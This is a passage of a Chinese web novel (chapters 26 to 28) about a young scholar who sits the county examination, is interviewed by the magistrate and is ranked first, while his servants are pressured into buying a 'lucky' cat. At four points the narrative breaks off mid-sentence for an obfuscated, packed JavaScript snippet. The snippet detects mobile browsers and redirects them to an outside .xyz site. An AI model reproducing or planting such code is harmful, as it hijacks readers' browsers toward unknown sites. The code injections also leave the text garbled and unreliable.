果然，等着士子们都进去了，衙役开始指着一个个圈定的位置叫价，段之缙对那最好的位置并无什么执念，只花了五两银子挑了个避风的地方，将自己的木箱拆开组装成一桌一凳，又把早就研磨好的瓷瓶中的墨水倒出，这才静坐着等待外头的太阳升起，把光照进大堂内。 静坐的时候最是熬人，不能左顾右盼，外头的寒意丝丝蔓蔓地侵入厚实的毛皮衣裳，掌心搓来揉去仍是一片湿冷。 不知熬到了什么时辰，只知道天已大亮，外头的阳光终于打到了人身上，带来些无用的暖意。段之缙先听得一声锣响，一位穿着青色团领衫，身前为彩线鹭鸶补子的中年人进了明伦堂。 他看一眼时辰，盯着日晷捻了捻胡子，吩咐道：“开考吧。” 那些衙役便挨个儿地分发卷纸和草稿纸。 又闻一声锣响，一位师爷打扮的男子站在中央朗声道：“本场考试，四书文两道。第一题：‘子曰，君子和而不同’。第二题，‘老吾老以及人之老，幼吾幼以及人之幼’。开始答题！” 段之缙展开草纸，先将两道题默在纸上。 第一题出自《论语》，全句为“君子和而不同，小人同而不和。” 朱熹对此已经有解释了，“和者，无乖戾之心；同者，有阿比之意。”所以段之缙要写，也只能从这两方面入手。 上好的狼毫笔饱食了顶烟墨，坠下的一滴墨珠被砚台壁刮去，段之缙先在草稿纸上工整地破题：“圣人之论君子，以和同辨其心术也……” “盖和者，理之公；同者，私之蔽。夫子示人以立心之要，莫切于此……” “和”与“同”，之所以能够区分君子和小人，就因其一个为公理，而一个为阿比。 段之缙承完题，又思考一番，紧接着写道：“尝思君子持己接物，非徒苟合取容已也。必也审乎义理之当然，而裁制以中正……” 正当此时，一个身影覆盖在了他的身后，居高临下，住了一小会儿，他才移开步子，站到了别人的身后去看，似乎每一个人的卷子他都看了一遍。 段之缙专心致志，也不知道有人盯过他，现在已经写到了中二比，“君子以道义为权衡，故虽众说纷纭，而折衷必求至当；小人以势利为依附，故虽同声附和，而隐衷实怀乖戾……” 日头一点点往正中爬过去，笔下清秀俊逸的字洒洒扬扬地铺满了两张草纸，直到段之缙的肚子都咕咕作响时，这两篇四书文才将将打好了草稿，开始忍着肚饿往试卷上一字一字地抄写。 不是不能吃点东西，琼香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971623|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和王章给他带了干粮，可冬日里天黑得早，申时虽还不至于完全暗下去，可明伦堂本就有些阴，太阳一斜字迹便不那么清楚了，县试又不提供蜡烛，天黑就清场。 因而考场里也没人敢耽误时辰，都忍饥挨饿地抄写，又不敢抄得太快，生怕写错了一个字。 最后一个字句落下，段之缙全文读了一遍，确信没有地方笔误，也没有地方誊写错误，这才抬起头找县令想要交卷，谁知县令竟不在前头坐着。 “你写得倒是挺快。” 冷不丁一句话从身旁炸响，吓得段之缙差点跳起来。 原来是那县令兜兜转转，又在他身后看起了卷子。 段之缙不能回头，只听到皂靴踩在青砖上的走动声，那一身青袍又回到了本应在的地方，李县令面无表情地朝他招手。 双手小心地捧着试卷上前，又迅速提起下袍跪到地上，试卷和草纸朝上高高举过头顶，段之缙恭敬道：“请大人过目。” 一旁的师爷结果他手中的卷纸呈上，县令扫了两眼，问道：“如何写得这样快？” 段之缙知道这不是谦虚的时候，一定要让县令印象深刻才好，“学生平日里勤学不止，每日都要做四书文两篇，五经文两篇，又吃透了四书五经、圣贤教诲，这才能下笔如有神。” 县令不发一言，只冷淡地点了点头便叫他退下。 段之缙利索起身，收拾好东西退出明伦堂，这一天的考试便算结束。 刚背着自己的东西走到马车旁，他便惊喜地发现秦先生也在，三步迈做两步迎上去：“先生怎么来了？” 秦慎之自从教完了书，也是许久没有抽烟了，可能今日也有些焦虑，现在又啪嗒啪嗒地抽了起来，他用一张帕子接着烟灰，漫不经心地回道：“来问问你考得怎么样？出的什么题？” 段之缙便将今日的题目和自己的答题思路告诉了先生，秦先生展颜一笑，带着一股志在必得的劲儿，“你这个水平再往上考乡试，肯定还是玄得很，不过区区县试，手到擒来！只等着明日看榜吧！” 段之缙倒还稳重些，王章和琼香两个小书童已经喜笑颜开了，乐得找不着北，满嘴都是二爷要当大官了，还是秦先生拿着烟斗一人敲了一下脑袋，这才安静了下来。 当天晚上，仍是早早睡下，子正时分醒了，洗漱一番赶紧去了孔庙明伦堂，既是为了今天的初覆，也是为了看榜。 但看榜的结果却大出所料，两个书童并段之缙三个人，把榜从上到下地看了好几遭，就是不见二爷的名讳，不仅段之缙心下失望，连两个小童亦是垂头丧气。王章急着安慰二爷，琼香就咬牙切齿地嗔那县令不识货，秦先生都夸好了，凭什么不能得中，倒是闹得段之缙哭笑不得。 那边衙役已经紧着催促了，段之缙安抚好两个书童，背着木箱走进了考场，一切都如昨天一样，买座位、静思、等着发题。 26.第二十六章 县试得中 仍是如昨日一样的流程，锣响，师爷公布考题，今日需做五经文一道，题为：“《尚书·尧典》中的‘克明俊德，以亲九族’。” 这是典型的以家推国的思想，那一段文字为“克明俊德，以亲九族。九族既睦，平章百姓。百姓昭明，协和万邦。”和“修齐治平”有异曲同工之妙。 在心中想好了思路，段之缙浅蘸了两笔墨水，一撇一捺就在草纸上晕开：“夫圣王之治，必本于德。德者，天之所赋，人之所秉也。尧之克明俊德，非独修己之谓，实以昭示万邦矣……” 正在纸上打着草稿，皂靴点在青石砖的声音又在四处响起，然后越移越近，最后在段之缙身后停住，一道目光居高临下，透过恭写文字的学子，停留到他的笔墨上。 “昔者尧之为君也，明德如日，光被四表。九族虽殊，而亲之以诚；百姓虽众，而抚之以仁。譬犹北辰居所，众星拱之；春风化雨，草木蕃之。此非权术之能致，实乃至德之所归也……” 那道目光一直看着段之缙写，一直草到了中二比才移走，走到别人的身后去看，待看完了所有人的文章，县令才端坐到了堂前椅上，手捧一本《长安志图?泾渠图说》研读。 正蹙眉深思之时，堂下倏忽间传来一句清朗的“大人”，这一回轮到李县令吓了一跳，伸着脖子一看，正是段之缙端跪在下方，双手高捧着试卷。 “呈与大人。” “哦，这么快就写完了？”李县令惊诧，示意师爷把卷子拿上来，又瞅一瞅外边的日晷，此时还不到晌午呢。 “今日倒是比昨日更快了。”他拿着那几张薄薄的纸阅览，随口说了一句。 段之缙低眉垂首：“今日只做五经文一道，自然是要比昨日快些。” 李县令嗯了一声，也不做其他回答，只等着看完了文章便叫他退下，仍是没有多说一句话。 没有也好，要是知道了他的评判，对段之缙的心态也不好，对在场考试学子的心态也有影响。 收拾好自己的笔墨砚台和小书箱，段之缙安静地退出考场，两个书童并秦先生还是昨日一样的姿态等在马车旁，一时间竟也分不清今昔何夕。 “今日考了哪道五经题？” “《尧典》中的‘克明俊德，以亲九族’。”段之缙回答了秦先生的问话，又将自己的解题思路说了一遍，秦先生的反应还和昨日一样，断言徒弟此次必中。两个有些沮丧的书童也跟着高兴起来，脸上难掩兴奋。 段之缙却有一丝预感，这事儿的幺蛾子恐怕还在后边，因而只谦虚地回以一笑，并没有多说什么。 考试第三日，秦先生也起了一个大早，和段之缙一块去看榜，四个人把那榜来来回回地看，目光刺出来，那张薄薄的纸都要着起火，愣是没有段之缙的名字。 “不应该啊……”秦先生疑惑非常，“你们不过是些考未冠题的学生，得出何等的神童才能叫你也显不出来？” “不应该啊！”困惑到极处，秦慎之一拍大腿 :“你跟我说说，你进去都干什么了？” 还能干什么？买座位、等考题、草文章、誊抄、交卷，除了这些事情段之缙又能干什么，又敢干什么呢？ 不过秦先生却抓住了一个重点：“你说，你连着两天都是第一个交卷的？” “学生写完了，不能第一个交卷吗？” “县令可跟你说什么了吗？” “只说学生交得挺早。除此之外，也没有做什么。” 秦先生听到这里心里已经有了些想法，他说道：“你做题的时候注意一下县令，估量估量他停在你身后之时，是在看着你写文，还是在览你写完的文。” 段之缙应是，提着自己的小木箱进入考场。 这一天的题目是“天行健，君子以自强不息。”段之缙思考片刻就在纸上草写，又分流出一点心神在脚步声上，果然听到沉闷的牛皮靴底踩在石砖上的声响，然后在自己身后停住。 一直盯着自己从承题看到了中二比才重又走远。 只不过，若县令每一个人都看，那也不算什么。 段之缙竖起两只耳朵仔细听，那脚步声匆匆，并不会像刚才这般停留，时间也就够览完草纸上已经写了的部分。 真是怪了，县令难道认识我吗？还是那天上元节，他也在望星楼？ 胡思乱想一阵，段之缙把注意力重放在稿纸上，写完笔下的五经文，然后工整誊抄在卷纸上。 因为刚才想了一阵儿旁的事儿，他今日并非是第一个交卷的人，前边已经有三四位学子交上了答卷离开，此时李县令就坐在他的位置，紧盯着段之缙捧着试卷走上前，一撩袍子跪下。 “怎么今日交得晚了些？”县令看着手里的文章问，又笑道：“不是勤学不止，一日做四篇时文吗？” 段之缙回道：“学生半桶水的水平，怎么敢在大人面前卖弄，只是笨鸟先飞罢了。” “你倒是很会说话，退下吧。” 这句话听不出什么语气，段之缙面色如常收拾东西走了，一出考场，秦先生便紧着问，段之缙也如实回答。只是等着听完，先生的脸已经全然黑了下来。 咬牙切齿地嘟囔了几句，秦先生再不发一言，也不再提什么得中不得中的事情，只叫学生安心考试。 最后一天考试，秦先生也不早起看榜，也不来接段之缙，只蒙头睡觉，又气哄哄地抽烟，一日之内抽了整整两袋烟丝，弄得屋子里烟熏火燎，走不进去人。 等着段之缙回了外祖家，他也不去看看，弄得王老爷和白夫人以为这次考试希望不大，纷纷上来安慰，言说明年再战也不算迟。 只是第五天放榜的时候，却是大跌眼镜，段之缙竟然过了！ 一时间王府上下热闹非凡，在正堂摆了宴席，载歌载舞，王老爷拍着段之缙的肩膀赞道：“我们王家，祖祖辈辈的商贾人家，也一向和商贾人家结为姻亲，结果一个读书上进的都找不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975656|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，没想到偏偏出了你这样的人才！” 段之缙连称不敢，又殷勤地为外祖倒酒布菜，这一场宴闹到了半夜才停住，大家酒气冲天地回去。就在他走在半道上的时候，秦先生叫住了段之缙。 “三月五日下总榜，后日便要去拜见县令了。到时候好好表现，这可关乎你的排名。倘若县令为难了你，最后的排名不好，也别放在心上。你得知道，安平县以学风昌盛闻名淮宁省，你能在七个月内过县试，说一句天纵英才也不为过。” 谆谆教诲，亲生的父子恐也不过如此，更何况段之缙两世的父亲道一声“非人哉”也不为过。 铭心镂骨，可话到了嘴边，说出来反而见外，段之缙只深鞠了一躬，刚要退下，又突然想起了点什么，问道：“先生，您还记得，倘若我县试中了，便将您的真实身份告诉我吗？” 秦先生也没想到他此时提起这茬子事儿，先怔愣了一下，才笑道：“你啊你……先生记得呢，等你拜见过了县令，一定告诉你。” 时间不等人，一日的时光匆匆而逝，转眼就是拜见县令的日子。 段之缙和其他几十个得中的学生等在县衙的大堂内，等着衙役一个个地叫进去。 四周是士子们的窃窃私语声。 “今年真倒是怪了。” “可不是吗？我听人家说，往年都是十来个一起叫进去，县令当场出题，学生们或辩经或作诗，从没听说过要一个挨着一个的进去考察。” “周兄，你说这叫人的顺序是按照什么来的？” 那姓周的士子自得一笑：“往年都是按照我们作时文所得的排名顺序来的，想来今年也是一样。刘兄，你听好了，这时文的排名虽和最后的排名不尽相同，可是大差不离，没多少变动喽。” 段之缙默默听着，原来这顺序竟然是按照初榜的顺序来的。 正想到此处，一位书吏捧着卷纸出来，朝着乌乌泱泱的众人喊：“周成名！” 刚才那“周兄”兴奋得满脸通红，忙向四周道喜的人施礼，又给书吏塞了一块儿银子，这才进了小室拜见县令。 许是一个一个接见的缘故，每个人停留的时间也不长，只是左等右等，也不见唤自己的名字，段之缙难免自嘲：“总不会是最后一名吧……” 想什么来什么，士子们进去又出来，原本热热闹闹的大堂内，转眼就剩下了他一个人。 还真是最后一名！ 那也挺好，有些时候能拿个六十分及格就行，多一分都是浪费。 “段之缙！”等着下午太阳要落时，倒数第二名士子才出来，书吏紧跟着唤了段之缙的名字。 他这会儿肚饿难忍，强打起精神往里走，那书吏却突然挡在门前大声猛咳，叫段之缙一时无措，人家暗示地眨眨眼祝贺道：“恭喜您啊，段老爷。” 段之缙一瞬间反应过来，从小荷包中掏出一张小额的银票放入书吏手中：“同喜同喜。”这才被放了进去。 27.第二十七章 拜见县令和连科狸 段之缙轻手轻脚地进门，见了县令先恭敬下拜：“学生段之缙见过大人。” 县令李显光叫起，又指了指自己的茶碗：“给我倒杯茶水。” 段之缙立刻起身倒茶，热水从壶中倾出，落入卍字福纹杯底，和祁门红茶红润的叶片相撞，激荡出红艳明亮的茶汤，一股清香逸散出来。 县令拿起茶浅嘬了一口，还有些烫嘴。 他放下茶碗，手指点点堂下的椅子：“坐下吧，多少问问你的学问。今年多大了？” “四月份满十九岁。” “少年英才啊，你的文章在未冠题中是最好的了，写得透彻、明白，见识也深，不像是没见过世面的小孩子。” 段之缙当然不是没见过世面的小孩子，上一世商场里叱咤风云，这一世看了山东难民，心胸之内除了精明打算还有一团火气，见文识人，自然不像是小孩子的文章。 “大人谬赞了，学生不过是侥幸，有一二短浅见识，不值一提。” “你不必谦虚，便是及冠的士子，很多人也只不过是文采好一些，眼界见识远不及你。平日里都读什么书？” “不过是四书五经、历代史书和先哲教训罢了，不敢读多了，恐旁门左道入了脑子。” 县令晃悠着手里的茶水，终于晃得凉了一些，三两口吞下，上好的红茶就跟凉水一般，纯是为了解渴。他又招招手叫段之缙为他倒茶，仔细打量了一番年轻人的长相，看他眉目清秀，气质温文尔雅，便心生好感，只是可怜他长了一张笑面，看着可欺。不过好在是看着可欺，有些人一张笑脸，偏偏显得奸诈。 声音也清亮，闻之悦耳，是做官的好材料。 “你长相十分俊美，自己知道否？” 段之缙吓了一跳，联想到当代与清代一样，律令禁止官员狎妓，结果这群当官的钻法律的漏洞，去亵玩娈童，现在县令又赞自己长相俊美，禁不住身子僵直，一时之间竟也不知如何是好。 幸好县令的下一句话叫他心稍放下来。 “你这样的长相，若是能金榜题名得中进士，为了朝廷的体面，恐怕都要让你做个探花喽……” 段之缙故作羞涩一拱手，“大人说笑了，学生何德何能有此等的造化，能够高中已经是祖坟冒青烟。” 还有自己说自己自己祖坟冒青烟的？ 他这一句话说得县令开怀大笑，“你确实是有意思的读书人。本官跟你说这些，是想激励你一番……接下来的路，可是不好走了。” 县令的话里隐有暗示，段之缙当即再拜，诚恳道：“愿听大人指点。” “下一场府试的知府，喜爱振聋发聩之文，你过府试没问题，院试之学政是与我同一年上任的，虽偏好华美辞藻，可若你能扎实学问，倒也不会名落孙山。只是乡试……考官都是圣主下令，从翰林京官中选拔……你外祖是商户，这就先叫人看轻了，兼之你父亲那个情况，你想要过了乡试，怕是难了。” 段之缙倒没心焦气躁，反而疑了起来。 李显光作为安平县令，他知悉名震淮宁的豪商巨贾王元浩倒是不足为奇，再知道他的外孙正是今年县试也不足为奇，可他是怎么知道段成平家里那些烂事的？ 虽说那事儿在京城里闹出了天大的笑话，可淮宁离着京城十万八千里，自己赶考都要走一个月，现在交通条件这样不发达，如何也不应该传到淮宁来。 在淮宁，王虞那件事，应当只有王家人自己清楚，再者家丑不可外扬，他们只会打肿脸充胖子，断不会把这样丢人的事情四处宣扬的。 那……县令是如何知道的？ 李显光好像看出了段之缙的疑问，主动回道：“我是京官被贬出京，来这儿做一个七品县令，你们家的事情我早有耳闻。” 段之缙亦觉尴尬，无奈又施了一礼，“大人见笑，有道是子不言父之过，学生不宜再说什么了。” 李显光点点头，又问了些四书五经的学问，段之缙从容不迫、对答如流，真倒有几分神气在。 这一场面试，一直问到了天黑，只庆幸县令只问经史子集，不问诗词歌赋，没叫自己丢丑，擦擦额上的冷汗，段之缙又饥又渴，坐上马车匆匆回了王家。 白老夫人珍爱这个外孙，倒比自己的亲孙子都亲昵，一则是心疼王虞，爱屋及乌，二则段之缙斯文有礼，又肯用功又聪慧伶俐，老太太如何能不喜欢？ 今日知他去拜见县令，早早就起了，先喂给段之缙一个吉祥如意的福饼，图一个万事顺利的好兆头，又吩咐厨房做一桌好菜，还特意嘱咐了做段之缙吃习惯了的京菜。 结果中午头等了一顿，孩子也没回来，老太太便有些担忧，如今天黑了还没回来，难免焦虑，带着身边的老嬷嬷小丫头倚在了二门上等着，要头一个见缙儿。 段之缙都要饿昏了，但见着外祖母仍是恭敬问安，又被一把拉住。 老太太抱怨道：“这天儿都黑透了，如今才回来？今天晌午吃了没有？” “没有……县令大人最是小心谨慎之人，科举抡才大典，他总要细细问才好，不然难免有浑水摸鱼之辈。” “怎么，见了你的文章还不知道你的为人？我虽然不识字，不是吊书袋的老先生，可也知晓见字知人的道理，想必见文章更能识人，何必再去问这么多？” 段之缙只细声安慰着老太太，既感念老太太的恩德，挂念着自己，又得为县令大人转圜，不能叫他被老人家骂了。 等着进了白老夫人碧水台阁，饭菜都已经呈上，什么白粥、鸡丝粥，粥水都有五六种。 白老夫人先坐定，叫伺候她的逢春嬷嬷先给段之缙舀了一碗青菜粥，劝道：“知道你惯爱吃京菜，口味重些，可今天饿了一天，也不知道水有没有喝一口，先用些养胃好克化的粥垫一垫，吃点清淡的就去歇了吧。也不要吃的太多，胀坏了脾胃对身子不好，吃个八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984830|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分即可。” 段之缙应是，喝了两碗粥，用一些小菜便停筷，先伺候外祖母漱了口这才告辞，回去轻轻松松地睡觉。 这一回儿，县试真的尘埃落定了，离着放榜还有几日，秦先生也不来授书了，先紧着他睡觉，等着孩子昏昏沉沉地睡了两天，又叫他自己玩耍，总之不要打扰自己。 “先生，您这次总该告诉我真实身份了吧？”段之缙抓住时机赶紧问，可秦先生捻捻胡子神秘一笑，只推说出了榜，大家一起去望星楼庆贺，届时自然不再隐瞒。 段之缙也不好再催，放榜前两天都在屋子里看话本，《忠烈侠义传》看了一遍，又跑出去买《七侠五义》，颇沉迷其中，一转眼就到了三月五日。 琼香和王章自昨天晚上就睡不着，辗转反侧，两个小伙子凑在一块嘀嘀咕咕，一致觉得案首非自家二爷莫属，第二日一人挂着两个眼袋，顶着漆黑的眼圈伺候段之缙洗漱，又紧催着二爷赶紧去看榜。 “你们不是识字吗？叫你俩去看不成吗？”段之缙骤然放松下来，只觉疲惫得紧，放榜了也不想出去，兼之《七侠五义》尚未读完，只想留在屋内读书，一人塞了五两碎银子就打发他们出去看榜，看完了也不着急回来，自己溜达溜达也成。 两个小伙子又有赏银拿，又能出去玩，自然十分愿意，颠儿颠儿地跑出家门，直奔县衙看榜。 只是他们想得美，路上却叫那无耻的卖猫人缠上了。 那是一只体长一尺半的山东狮子猫，通体雪白好似白练一般，长了一对儿耀人的鸳鸯眼儿，一黄一蓝，跟琉璃珠似的，极为喜人。 可这俩急着看榜的小伙子可没移一点儿眼神给猫儿，那卖猫的人家却不知怎么训得猫，竟然也没关在笼子里，直接歪倒在了琼香脚边，婴儿拳头一般大的猫爪子一勾，猫嘴一咬，就把琼香身上的小荷包叼走跑了，急得琼香去追。 追到时，荷包已经在卖猫人的手中了。 “你家的猫，怎好叫它乱跑闯祸，还不将荷包还与我！” 琼香气得吵，那卖猫人是个瞎子，守着一个算命的摊位，不急不徐道：“小友何必如此气恼？荷包还与你就是……只是你先要跟瞎子说说，你干什么去？” 琼香抓那荷包抓了一个空，恼得要破口大骂，又被王章拦住，皱着眉答这瞎子的话：“我们是替主人看县试的榜，还请您赶紧还与我们。” 瞎子点点头，“有缘有缘……想要拿回去荷包，要先买我这猫才好啊。” “你发什么疯！凭什么买你的猫！”琼香真是气不过了，他从没见过这样不要脸的人，养了一只贼猫，偷了人家的荷包，还要人家买他的猫？岂有此理！ “哎~”那瞎子也不生气，伸手一拍桌子，那猫儿跳上桌来，他抚一抚猫儿柔顺的背毛，雪白的毛发如浪一般涌动。 “你可不要小瞧我这只猫儿，它名唤‘连科’，谁得了它，可是要一路连科的。” 28.第二十八章 算命和案首 王章虽还是个十四五的小孩子，可他胆子大得很，当初就敢当着许嬷嬷的面拆穿松烟，现在也不怵这个白胡子一大把的老货，眉毛一挑，恐吓道：“你这猫儿偷了我兄弟的荷包，里边可是有银子的！若是你不还，我们便去报官！叫县令大人看看，到底应不应该还了我兄弟的荷包。” 那瞎子嘿嘿一笑：“哎，小友，我何时说不还了？你便是不买我的‘连科奴’，我也是要还给你滴！”说完，瞎子掌心朝上，荷包原物返还。 琼香朝瞎子“呸”了一声，赶紧扯着王章走，刚才耽误了个把时刻，现在榜前该挤满了人，这就不好看榜了。 谁知，算命的瞎子又开始作妖了，他老树皮一样的手轻轻抚摸着猫儿的脑袋，又怜爱地搔搔猫下巴，猫儿舒服得嗓间发出呼噜呼噜声，又娇娇嗲嗲地叫。 “可惜啊可惜啊……”瞎子一边抚弄着狮子猫，一边在后边唉声叹气。 “没有了我这娇滴滴的‘连科奴’，你们的少爷就要名落孙山了！” 那两人还没有走远，一字一句全钻到耳朵里，把小兄弟两个气得仰倒，便是王章这样稳重的小子都忍不住了，攥着拳头冲回了摊位，一拳砸在桌子上。 该死的，人家要去看榜了，这个瞎子咒别人名落孙山，就算是打死他也不为过！ “你个烂舌头的瞎子，怎么敢说这样的话！小爷今儿就叫你长长记性！”语罢，一拳就要挥到瞎子脸上，却被瞎子轻轻松松地截住了。 他也不还手，也不生气，故弄玄虚地摇摇脑袋：“小友莫急，你听瞎子我说……你们主人今年尚未及冠吧？” 两个小子面面相觑，琼香故意编了个瞎话：“莫说及冠，我们主人都孩子都十多岁了！” 瞎子哼笑一声：“不仅未及冠，还是从南到北再到南。” 这话说的没错，段之缙的嫡兄五岁上，王家给段成平捐了官，一家人离开淮宁去了京城，这就是从南到北。 现在段之缙从京城回到淮宁考试，岂不就是从北到南？ 王章半信半疑地把拳头放下来，“你怎么知道的？” 瞎子摇摇扇子：“风告诉我滴……” 琼香是商贾人家的家生子，本来就信一些神神鬼鬼之术，又事关自己伺候的主子，连声催着瞎子继续说。 “接下来的事儿，全在我这猫儿呢，若是不买这狸奴，你们少爷必然要名落孙山。” 他又开始说这些烂舌头的话！ 两个小伙子咬牙切齿，恨恨商量了一番，还是决定买了这小猫，不图别的，但要它“一路连科”的好兆头。 “你这猫儿我买了，多少钱？” 猫儿听到这话，似通人性一般高高挺起了胸膛，胸口的大毛脖领子叫它愈发矜贵。 “十两银子。” “十两！你他娘穷疯了！一直狸奴要十两银子！”琼香惊愕异常，乃至破口大骂，骂完了就要拉着王章走。 “小友留步，不光是猫儿的钱，还有我算命的钱呢？瞎子算命不要钱啊！” 这命算还是不算？ 两个小子又开始犹豫了，嘀嘀咕咕起来，算命的手在猫儿身上抚摸，慢慢腾腾地开了口：“你们今日拿的财是灾财，是要生灾滴……” 琼香和王章一个激灵，猛然想起了今天二爷给的银子，正好是十两。 他俩现如今真是信服了，琼香将荷包里的十两银子全掏出来，留恋地看两眼，瘪着嘴递给瞎子。 “喏，都在这了。” 瞎子笑嘻嘻地拿到手里颠两颠，吩咐道：“会写字不会？” 琼香回道：“会。” “把你主人家的生辰八字写到我的纸上。” 琼香挠挠头，他可不知道二爷的生辰八字，好在王章知道，凑到琼香耳边说了，琼香磕磕绊绊地写下来。 瞎子用手指摸着字迹，未干的墨浸上他的指腹，留下黑黢黢的脏污。 他摸来摸去，胸有成竹地笑，提笔在一黄色纸条上写道：甲木逢申月，七杀当权而偏财透干，正印归墓却伤官吐秀。四柱金寒水冷，幸得丙火暖局，子水通源。观此命盘，如孤松立雪，自有一番傲骨峥嵘。 “走吧……” 啊？这就完了？ “你这算命的，你还没跟我们说，我们主人是什么命呢！” “你那银子，只够买我这一句话。若想知道，拿着这字条找旁人，叫旁人解。” 琼香还待再闹，王章余光一瞟，却见一个彪形大汉正往瞎子这走，然后如高山般立于其后，显然是来撑场子的。 他赶紧拉住琼香的手，叫他别再说话，两个人气焰顿时消下，决定还是暂且退让一步，先去看了榜再说。 正要灰溜溜走了，身后一道高呼：“小友！” 转头看，瞎子推了推桌上趴卧着的猫儿，笑道：“您的猫……” 那猫儿似有所感，一下子跳到地上，层层叠叠的毛发犹如海波汹涌。 它轻点着小猫步走到琼香身边，在土路上留下一串串小梅花印。 琼香气恼可也无法怎么样，这猫身价可高着呢，整整十两银子！ 这么一想，也舍不得叫这“宝贝”走路了，干脆抱在怀里，可他还是气呼呼的，拍了一下乖巧猫儿的臀，假嗔：“你这小畜生做出来的孽，要是不能叫我们二爷名次高高的，把你的皮褪下来做脖领子。” 猫儿理都不理他，只窝在他的怀里享受，眼睛也渐渐眯了起来。 这两个人轮流抱着死沉的狮子猫赶到榜前，那小小的牌子早就被围得水泄不通了，乌泱泱全是人头。 猫儿被吵得不行，从王章怀里爬出来，挂到了他的脖子上，王章此时着急往前拱着看榜，也没那闲工夫管它。 “陈宝岭、万苗青、张继宗、薛德通……”琼香从下边往上念。 “郑崑瑛、周道伦、孟宪祖……”王章从上边往下念。 “周成名。”\“周成名。” 两个小子读到了同一个人名，吓得腿都开始打哆嗦，怎么没有他们家二爷的名字！ 从头再读还是没有，琼香的眼泪都涌了出来。 “明明中了的，上次的榜我都看了的，就是二爷的名字没错。”他记得清清楚楚，最后一场的榜放出来，段之缙的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14990527|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是在上边写着，清清楚楚、明明白白的。 如何现在就没有了呢？ 琼香百思不得其解，火气和恼怒不知往何处撒，突然想起了刚才那瞎子的话，越想越觉得是他胡言乱语，妨了二爷的运道，因而恼道：“什么‘连科奴’，我要去找那瞎子算账！” 此时，挂在王章身上的狮子猫像是不耐烦了，一跃而下，接连几个跳跃便冲到了外边。 琼香一时没有抓住，心中更恼，这可是十两银子！原本打算和王章一块儿去肖记食坊好好搓一顿，结果现在就得一只没用的猫儿！ 两个小伙着急忙慌地跟着那一团白冲出人群，好不容易逮到了那猫，琼香正要斥它，王章却呆愣愣地念道：“琼香哥，这还有一个榜呢。” 怪不得方才那榜上没有段之缙的名字，原来是未冠题和及冠题分开考，总榜也是两个，排出两个案首。 琼香踮着脚往人群里看，隔着老远看见了最顶上的那个名字，吓得手里的猫都掉到地上，结结巴巴地问：“那最顶上的那个，是我们……我们二爷的名字？” 王章也吓呆了，一句话说不出，只傻乎乎地点头。 琼香把地上滚了一遭的连科紧抱在怀里，一个劲儿往人群里钻去，贴着那张薄薄的红纸看，差点盯成了斗鸡眼。 “真是我们二爷！”这两个人异口同声的欢呼，琼香此时不觉得算命的骗人了，一口亲在连科的猫脸上，喜道：“好狸奴，你可真神！” 然后二人也不敢拖沓，原本想去肖记食坊的心也歇了，带着猫儿一路连跑带跳回了王家，从后门窜进了内院。 两人分头行动，琼香去跟院里的老太太说，王章则跑回了二爷那里。 此时段之缙还关门闭户地看武侠话本呢，外边霎时间吵闹了起来，平日里小心翼翼的下人们也不知怎么了，嬉笑欢呼之声不断，然后他便听得往日里稳重的王章把门拍得砰砰响。 “二爷！二爷！中了！” 段之缙自然是知道中了，而且名次该是很不错，因为上次拜见县令的时候，县令已经夸赞了他的文章是未冠题里头一等，只是不如一些苦读了多年的学子罢了。 语里含着淡淡的笑意，段之缙问道：“中了就中了，难道是案首吗？何故如此欢欣雀跃？亏你还整天说自己是稳重人呢！” 谁知王章也不等他叫进，直接把门一推，脸蛋子涨得通红，叫着回道：“就是案首！” 这回段之缙也吓了一跳，“胡说，最起码前边也该有个郑崑瑛！” 他自己的水平自己清楚，郑崑瑛“旁门左道”上略逊于他，可科举考试绝对不会比他差，那日上元节的文章便可见一二。还有书肆的掌柜，对自己这种锦衣华服之人可没个好脸色，但是对郑崑瑛却是一副十分相熟的样子，甚至对着自己炫耀，可见郑崑瑛绝不是等闲之辈。 